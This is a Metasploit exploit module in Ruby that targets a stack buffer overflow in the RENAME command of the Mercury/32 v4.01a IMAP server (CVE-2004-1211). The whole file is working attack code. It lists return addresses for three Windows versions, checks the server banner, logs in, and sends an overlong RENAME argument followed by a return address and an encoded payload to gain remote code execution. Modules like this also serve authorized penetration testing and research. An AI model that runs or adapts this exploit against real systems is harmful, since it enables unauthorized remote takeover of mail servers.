Mercury/32 v4.01a IMAP RENAME Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow vulnerability in the
          Mercury/32 v.4.01a IMAP service.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1211'],
          [ 'OSVDB', '12508'],
          [ 'BID', '11775'],
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],
          ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
          ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
        ],
        'DisclosureDate' => '2004-11-29',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    resp = sock.get_once
    disconnect

    if (resp =~ /Mercury\/32 v4\.01a/)
      return Exploit::CheckCode::Appears('Mercury/32 v4.01a IMAP server detected')
    end

    return Exploit::CheckCode::Safe('Mercury/32 v4.01a IMAP server not detected')
  end

  def exploit
    connect_login

    sploit = "a001 RENAME " + rand_text_alpha_upper(260)
    sploit << [target.ret].pack('V') + payload.encoded

    sock.put(sploit)

    handler
    disconnect
  end
end